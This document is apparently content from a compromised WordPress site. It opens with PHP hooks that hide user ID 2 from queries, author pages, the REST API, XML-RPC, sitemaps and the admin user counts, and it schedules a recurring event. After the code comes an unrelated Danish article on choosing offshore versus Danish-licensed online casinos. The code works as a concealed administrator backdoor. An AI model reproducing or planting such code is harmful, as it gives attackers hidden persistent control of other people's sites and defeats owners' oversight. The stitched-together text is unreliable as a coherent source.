add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Et udenlandsk casino med dansk licens er under tilsyn af Spillemyndigheden. En offshore-side er ikke – den kører på en tilladelse fra Curacao, Anjouan, Tobique eller lignende, og der er ingen dansk instans, der rykker for dig, hvis udbetalingen bliver hængende. Det er ikke det samme som at sige, at offshore altid er usikkert. Det er bare en anden form for sikkerhed: du er overladt til operatørens egne vilkår og den lokale myndigheds lyst til at svare på mails.
| Forhold | Dansk licens | Offshore-licens |
|---|---|---|
| Tilsyn | Spillemyndigheden | Curacao, Anjouan, Malta, Tobique m.fl. |
| Bonusvilkår | Lovbestemte krav til lofter og omsætning | Operatøren fastsætter selv reglerne |
| ROFUS | Selvudelukkelse virker | Kun sidens egne værktøjer |
| Klageadgang | Til Spillemyndigheden | Lokal myndighed eller ADR-ordning |
| Beskatning | Gevinster er som udgangspunkt skattefrie | Uklart – spørg SKAT direkte |
Du behøver ikke læse en hel anmeldelse for at sortere de værste fra. Rækkefølgen betyder noget:
Spiludvalget er sjældent problemet – de fleste internationale sider har flere tusinde titler fra NetEnt, Pragmatic Play, Hacksaw og Evolution. Det er pengestrømmen, der afgør, om du bliver glad for kontoen.
På en offshore-side findes ROFUS ikke. Ingen stopper dig, hvis du selv har bedt om at blive lukket ude i Danmark. Sæt derfor dine egne grænser, før du indbetaler: et fast beløb, en fast dag, og en aftale med dig selv om, at en tabt indbetaling ikke hentes igen samme aften. Har du mistet overblikket, findes StopSpillet på telefon – gratis og anonymt.
Vælg ikke casino efter bonusbeløb. Vælg efter licens, udbetalingshastighed og en kundeservice, der svarede fornuftigt, da du testede dem. Skriv de tre ting ned på forhånd, og hold dig til dem, uanset hvor mange free spins der blinker i velkomstvinduet. Et casino, du kan komme ud af igen med pengene i behold, slår altid et casino med den største pakke.
]]>